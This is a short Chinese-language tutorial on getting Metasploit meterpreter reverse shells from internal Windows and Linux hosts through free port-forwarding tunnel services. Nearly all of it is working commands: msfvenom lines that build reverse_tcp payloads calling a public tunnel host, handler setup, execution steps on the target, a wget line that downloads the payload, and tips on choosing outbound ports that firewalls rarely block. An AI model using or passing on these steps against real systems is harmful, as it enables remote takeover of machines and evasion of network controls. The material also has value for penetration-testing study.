msf-端口转发-反弹shell

这里借助的是免费的端口转发工具，来进行演示。

https://www.ngrok.cc/login.html

https://console.uulap.com/app/login/?next=/

都是有可以免费使用。

实验环境：

kali ：192.168.119.138 （内网）

对内网主机win/linux，反弹shell。

---

这就涉及目标内网机器是否可以出网。反向连接reverse_tcp/正向连接bind_tcp

• reverse_tcp 目标主机可以出网，有些端口没有被拦截（不行换 80 443 8080，一般80端口不会拦截。）

• bind_tcp 目标主机不可以出网，（开启主机关闭的端口，我们主动去连接）

  参考：

  https://cloud.tencent.com/developer/article/1778292

  http://www.voidcn.com/article/p-weuaffcv-bq.html

反弹window-shell

端口转发

tcp协议

kali-msf

msfconsole

msfvenom -p windows/meterpreter/reverse_tcp LHOST=s0.z100.vip  LPORT=38579 -f exe > zzz.exe           注意这里是公网ip/端口        

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set lhost 127.0.0.1       这里一定要是127.0.0.1，192那个不行，可能是端口转发的原因导致

set lport  8080

run

内网win

运行zzz.exe

反弹linux-shell

端口转发

和上面一样

kali-msf

msfconsole

show payloads  选择我们要使用的payload

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=s0.z100.vip  LPORT=38579 -f elf > zzz.elf           注意这里是公网ip/端口        

use exploit/multi/handler

set payload linux/x64/meterpreter/reverse_tcp

set lhost 127.0.0.1       这里一定要是127.0.0.1，192那个不行，可能是端口转发的原因导致

set lport  8080

run

内网linux

chmod +x zzz.elf   给执行权限

./zzz.elf

实际上我们可以远程下载zzz.elf

wget  http://xxx.xxx.xxx.xxx:xx/zzz.elf